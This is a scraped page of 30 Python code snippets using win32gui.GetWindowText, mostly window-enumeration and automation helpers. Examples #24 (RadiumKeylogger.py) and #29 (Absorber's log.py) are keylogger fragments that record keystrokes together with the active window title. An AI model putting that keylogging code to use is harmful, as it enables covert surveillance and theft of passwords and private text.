Python win32gui.GetWindowText() Examples
The following are 30
code examples of win32gui.GetWindowText().
You can vote up the ones you like or vote down the ones you don't like,
and go to the original project or source file by following the links above each example.
You may also want to check out all available functions/classes of the module
win32gui
, or try the search function
.
Example #1
Source File: winguiauto.py From pyautotrade_tdx with GNU General Public License v2.0 | 13 votes |
def dumpWindow(hwnd, wantedText=None, wantedClass=None): ''' :param hwnd: 窗口句柄 :param wantedText: 指定子窗口名 :param wantedClass: 指定子窗口类名 :return: 返回父窗口下所有子窗体的句柄 ''' windows = [] hwndChild = None while True: hwndChild = win32gui.FindWindowEx(hwnd, hwndChild, wantedClass, wantedText) if hwndChild: textName = win32gui.GetWindowText(hwndChild) className = win32gui.GetClassName(hwndChild) windows.append((hwndChild, textName, className)) else: return windows
Example #2
Source File: gui.py From peach with Mozilla Public License 2.0 | 7 votes |
def enumCallback(hwnd, self): title = win32gui.GetWindowText(hwnd) for name in self.WindowNames: if title.find(name) > -1: try: self.FoundWindowEvent.set() if self.CloseWindows: win32gui.PostMessage(hwnd, win32con.WM_CLOSE, 0, 0) except: pass else: try: win32gui.EnumChildWindows(hwnd, _WindowWatcher.enumChildCallback, self) except: pass return True
Example #3
Source File: file.py From peach with Mozilla Public License 2.0 | 6 votes |
def enumChildCallback(hwnd, args): """ Will get called by win32gui.EnumWindows, once for each top level application window. """ proc = args[0] windowName = args[1] try: # Get window title title = win32gui.GetWindowText(hwnd) # Is this our guy? if title.find(windowName) == -1: return # Send WM_CLOSE message win32gui.PostMessage(hwnd, win32con.WM_CLOSE, 0, 0) except: pass #print sys.exc_info()
Example #4
Source File: file.py From peach with Mozilla Public License 2.0 | 6 votes |
def enumCallback(hwnd, args): """ Will get called by win32gui.EnumWindows, once for each top level application window. """ proc = args[0] windowName = args[1] try: # Get window title title = win32gui.GetWindowText(hwnd) # Is this our guy? if title.find(windowName) == -1: win32gui.EnumChildWindows(hwnd, FileWriterLauncherGui.enumChildCallback, args) return # Send WM_CLOSE message win32gui.PostMessage(hwnd, win32con.WM_CLOSE, 0, 0) except: pass
Example #5
Source File: cutthecrap.py From fame_modules with GNU General Public License v3.0 | 6 votes |
def foreach_window(self): def callback(hwnd, lparam): title = win32gui.GetWindowText(hwnd).lower() for window in self.to_close: if window in title: win32gui.PostMessage(hwnd, win32con.WM_CLOSE, 0, 0) print "Closed window ({})".format(title) for window in self.clicks: if window in title: self._windows[hwnd] = { "matches": self.clicks[window], "to_click": [], "buttons": [] } try: win32gui.EnumChildWindows(hwnd, self.foreach_child(), hwnd) except: print "EnumChildWindows failed, moving on." for button_toclick in self._windows[hwnd]['to_click']: for button in self._windows[hwnd]['buttons']: if button_toclick in button['text']: win32gui.SetForegroundWindow(button['handle']) win32gui.SendMessage(button['handle'], win32con.BM_CLICK, 0, 0) print "Clicked on button ({} / {})".format(title, button['text']) del self._windows[hwnd] return True return callback
Example #6
Source File: dual.py From onmyoji_bot with GNU General Public License v3.0 | 6 votes |
def get_all_hwnd(hwnd, mouse): ''' 获取所有阴阳师窗口 ''' if win32gui.IsWindow(hwnd) and win32gui.IsWindowEnabled(hwnd) and win32gui.IsWindowVisible(hwnd): if win32gui.GetWindowText(hwnd) == u'阴阳师-网易游戏': hwndlist.append(hwnd)
Example #7
Source File: __init__.py From EventGhost with GNU General Public License v2.0 | 6 votes |
def __call__(self): if self.plugin.runFlg and self.plugin.mpcHwnd: try: child = GetDlgItem(self.plugin.mpcHwnd, 10021) if GetClassName(child) == "#32770": statText = GetDlgItem(child, 12027) if GetClassName(statText) == "Static": elaps, total = GetWindowText(statText).split(" / ") elaps = GetSec(elaps) totSec = GetSec(total) rem = strftime('%H:%M:%S', gmtime(totSec-elaps)) elaps = strftime('%H:%M:%S', gmtime(elaps)) total = strftime('%H:%M:%S', gmtime(totSec)) except: return None, None, None return elaps, rem, total else: eg.programCounter = None raise self.Exceptions.ProgramNotRunning #===============================================================================
Example #8
Source File: winguiauto.py From pyautotrade_tdx with GNU General Public License v2.0 | 6 votes |
def dumpSpecifiedWindow(hwnd, wantedText=None, wantedClass=None): ''' :param hwnd: 父窗口句柄 :param wantedText: 指定子窗口名 :param wantedClass: 指定子窗口类名 :return: 返回父窗口下所有子窗体的句柄 ''' windows = [] hwndChild = None while True: hwndChild = win32gui.FindWindowEx(hwnd, hwndChild, wantedClass, wantedText) if hwndChild: textName = win32gui.GetWindowText(hwndChild) className = win32gui.GetClassName(hwndChild) windows.append((hwndChild, textName, className)) else: return windows
Example #9
Source File: windows.py From ATX with Apache License 2.0 | 6 votes |
def __init__(self, window_name=None, exe_file=None, exclude_border=True): hwnd = 0 # first check window_name if window_name is not None: hwnd = win32gui.FindWindow(None, window_name) if hwnd == 0: def callback(h, extra): if window_name in win32gui.GetWindowText(h): extra.append(h) return True extra = [] win32gui.EnumWindows(callback, extra) if extra: hwnd = extra[0] if hwnd == 0: raise WindowsAppNotFoundError("Windows Application <%s> not found!" % window_name) # check exe_file by checking all processes current running. elif exe_file is not None: pid = find_process_id(exe_file) if pid is not None: def callback(h, extra): if win32gui.IsWindowVisible(h) and win32gui.IsWindowEnabled(h): _, p = win32process.GetWindowThreadProcessId(h) if p == pid: extra.append(h) return True return True extra = [] win32gui.EnumWindows(callback, extra) #TODO: get main window from all windows. if extra: hwnd = extra[0] if hwnd == 0: raise WindowsAppNotFoundError("Windows Application <%s> is not running!" % exe_file) # if window_name & exe_file both are None, use the screen. if hwnd == 0: hwnd = win32gui.GetDesktopWindow() self.hwnd = hwnd self.exclude_border = exclude_border
Example #10
Source File: winguiauto.py From pyAutoTrading with GNU General Public License v2.0 | 6 votes |
def dumpWindow(hwnd, wantedText=None, wantedClass=None): """ :param hwnd: 窗口句柄 :param wantedText: 指定子窗口名 :param wantedClass: 指定子窗口类名 :return: 返回父窗口下所有子窗体的句柄 """ windows = [] hwndChild = None while True: hwndChild = win32gui.FindWindowEx(hwnd, hwndChild, wantedClass, wantedText) if hwndChild: textName = win32gui.GetWindowText(hwndChild) className = win32gui.GetClassName(hwndChild) windows.append((hwndChild, textName, className)) else: return windows
Example #11
Source File: process.py From peach with Mozilla Public License 2.0 | 6 votes |
def enumChildCallback(hwnd, windowName): """ Will get called by win32gui.EnumWindows, once for each top level application window. """ try: # Get window title title = win32gui.GetWindowText(hwnd) # Is this our guy? if title.find(windowName) == -1: return # Send WM_CLOSE message win32gui.PostMessage(hwnd, win32con.WM_CLOSE, 0, 0) except: pass #print sys.exc_info()
Example #12
Source File: process.py From peach with Mozilla Public License 2.0 | 6 votes |
def enumCallback(hwnd, windowName): """ Will get called by win32gui.EnumWindows, once for each top level application window. """ try: # Get window title title = win32gui.GetWindowText(hwnd) # Is this our guy? if title.find(windowName) == -1: win32gui.EnumChildWindows(hwnd, FileWriterLauncherGui.enumChildCallback, windowName) return # Send WM_CLOSE message win32gui.PostMessage(hwnd, win32con.WM_CLOSE, 0, 0) except: pass
Example #13
Source File: process.py From peach with Mozilla Public License 2.0 | 6 votes |
def enumChildCallback(hwnd, windowName): """ Will get called by win32gui.EnumWindows, once for each top level application window. """ try: # Get window title title = win32gui.GetWindowText(hwnd) # Is this our guy? if title.find(windowName) == -1: return # Send WM_CLOSE message win32gui.PostMessage(hwnd, win32con.WM_CLOSE, 0, 0) except: pass #print sys.exc_info()
Example #14
Source File: winguiauto.py From pyautotrade_tdx with GNU General Public License v2.0 | 5 votes |
def getWindowText(hwnd): return win32gui.GetWindowText(hwnd)
Example #15
Source File: winguiauto.py From pyautotrade_tdx with GNU General Public License v2.0 | 5 votes |
def _windowEnumerationHandler(hwnd, resultList): '''Pass to win32gui.EnumWindows() to generate list of window handle, window text, window class tuples.''' resultList.append((hwnd, win32gui.GetWindowText(hwnd), win32gui.GetClassName(hwnd)))
Example #16
Source File: winguiauto.py From pyAutoTrading with GNU General Public License v2.0 | 5 votes |
def getWindowText(hwnd): """ 获取控件的标题 """ return win32gui.GetWindowText(hwnd)
Example #17
Source File: explore_dual.py From onmyoji_bot with GNU General Public License v3.0 | 5 votes |
def get_all_hwnd(hwnd, mouse): ''' 获取所有阴阳师窗口 ''' if win32gui.IsWindow(hwnd) and win32gui.IsWindowEnabled(hwnd) and win32gui.IsWindowVisible(hwnd): if win32gui.GetWindowText(hwnd) == u'阴阳师-网易游戏': hwndlist.append(hwnd)
Example #18
Source File: WindowsUI.py From Poco with Apache License 2.0 | 5 votes |
def ConnectWindowsByTitleRe(self, title_re): hn = set() # 匹配窗口的集合,把所有标题(正则表达式)匹配上的窗口handle都保存在这个集合里 hWndList = self.EnumWindows() for handle in hWndList: title = win32gui.GetWindowText(handle) if PY2: title = title.decode("gbk") if re.match(title_re, title): hn.add(handle) if len(hn) == 0: return -1 return hn
Example #19
Source File: main.py From MouseTracks with GNU General Public License v3.0 | 5 votes |
def name(self): return win32gui.GetWindowText(self.hwnd) #Tray icon commands
Example #20
Source File: winguiauto.py From pyAutoTrading with GNU General Public License v2.0 | 5 votes |
def _windowEnumerationHandler(hwnd, resultList): """Pass to win32gui.EnumWindows() to generate list of window handle, window text, window class tuples.""" resultList.append((hwnd, win32gui.GetWindowText(hwnd), win32gui.GetClassName(hwnd)))
Example #21
Source File: console.py From eavatar-me with Apache License 2.0 | 5 votes |
def append_message(self, msg): ctrl = win32gui.GetDlgItem(self.hwnd, IDC_MESSAGE) old_msg = win32gui.GetWindowText(ctrl) new_msg = old_msg + PROMPT1 + msg.strip() + NEW_LINE win32gui.SetWindowText(ctrl, new_msg) self._scroll_message(ctrl) # index = len(new_msg) # win32gui.SendMessage(ctrl, win32con.EM_SETSEL, index, index)
Example #22
Source File: win32_helper.py From pySPM with Apache License 2.0 | 5 votes |
def _windowEnumerationHandler(hwnd, resultList): '''Pass to win32gui.EnumWindows() to generate list of window handle, window text, window class tuples.''' resultList.append((hwnd, win32gui.GetWindowText(hwnd), win32gui.GetClassName(hwnd)))
Example #23
Source File: applicationinfo.py From track with Apache License 2.0 | 5 votes |
def _get_active_window_title(): return GetWindowText(GetForegroundWindow())
Example #24
Source File: RadiumKeylogger.py From BrainDamage with Apache License 2.0 | 5 votes |
def OnKeyboardEvent(self,event): global buffer global window global save_keystroke global current_active_window save_keystroke = open(USERDATA_PATH + "keylog.txt", 'a') new_active_window = current_active_window current_active_window = win32gui.GetWindowText(win32gui.GetForegroundWindow()) if new_active_window != current_active_window: window = current_system_time.strftime("%d/%m/%Y-%H|%M|%S") + ": " + current_active_window save_keystroke.write(str(window)+'\n') window = '' if event.Ascii == 13: buffer = current_system_time.strftime("%d/%m/%Y-%H|%M|%S") + ": " + buffer save_keystroke.write(buffer+ '\n') buffer = '' elif event.Ascii == 8: buffer = buffer[:-1] elif event.Ascii == 9: keys = '\t' buffer = buffer + keys elif event.Ascii >= 32 and event.Ascii <= 127: keys = chr(event.Ascii) buffer = buffer + keys return True
Example #25
Source File: __init__.py From EventGhost with GNU General Public License v2.0 | 5 votes |
def __call__(self): hWnd = Find_MPC() if not hWnd: raise self.Exceptions.ProgramNotRunning hWnd = hWnd[0] title = GetWindowText(hWnd) if not title.startswith("Media Player Classic"): ix = title.rfind(".") if ix > -1: return title[:ix] #===============================================================================
Example #26
Source File: __init__.py From EventGhost with GNU General Public License v2.0 | 5 votes |
def Handle(): FindWindow = FindWindowFunction(None,None,1) hwnds = FindWindow() if len(hwnds) > 0: if GetWindowText(hwnds[0]) == "Screamer Log": FindWindow = FindWindowFunction(None,None,2) hwnds = FindWindow() return hwnds #my xmlhandler1
Example #27
Source File: __init__.py From EventGhost with GNU General Public License v2.0 | 5 votes |
def __call__(self): hwnds = Handle() if len(hwnds) > 0: return GetWindowText(hwnds[0]) else: self.PrintError(self.plugin.text.text1) return self.plugin.text.text1 #===============================================================================
Example #28
Source File: __init__.py From EventGhost with GNU General Public License v2.0 | 5 votes |
def FindMarantzWindow(self): # Old handle still valid? if self.hwndMarantzControl is not None: if GetWindowText(self.hwndMarantzControl) == 'MarantzControl': return True # Search for window self.hwndMarantzControl = FindWindow(None, 'MarantzControl') if self.hwndMarantzControl != 0: return True # Nothing found return False
Example #29
Source File: log.py From Absorber with MIT License | 5 votes |
def display(event, key): global data, lastwindow if lastwindow != GetWindowText(GetForegroundWindow()): lastwindow = GetWindowText(GetForegroundWindow()) #data += ' [ ' + lastwindow + ' ] ' if key == 'tab' or key == 'caps lock' or key == 'shift' or key == 'ctrl' or key == 'alt' or key == 'space' or key == 'right alt' or key == 'right ctrl' or key == 'esc' or key == 'left' or key == 'right' or key == 'down' or key == 'up' or key == 'right shift' or key == 'enter' or key == 'backspace' or key == 'num lock' or key == 'page up' or key == 'page down' or key == 'insert' or key == 'delete' or key == 'print screen' or key == 'home' or key == 'end' or key == 'decimal': data += ' { ' + str(key) + ' } ' else: data += key elif key == 'tab' or key == 'caps lock' or key == 'shift' or key == 'ctrl' or key == 'alt' or key == 'space' or key == 'right alt' or key == 'right ctrl' or key == 'esc' or key == 'left' or key == 'right' or key == 'down' or key == 'up' or key == 'right shift' or key == 'enter' or key == 'backspace' or key == 'num lock' or key == 'page up' or key == 'page down' or key == 'insert' or key == 'delete' or key == 'print screen' or key == 'home' or key == 'end' or key == 'decimal': data += ' { ' + str(key) + ' } ' else: data += key
Example #30
Source File: main.py From PUBG with The Unlicense | 5 votes |
def windowEnumerationHandler(hwnd, top_windows): top_windows.append((hwnd, win32gui.GetWindowText(hwnd))) # BATTLEGROUNDS Crash Reporter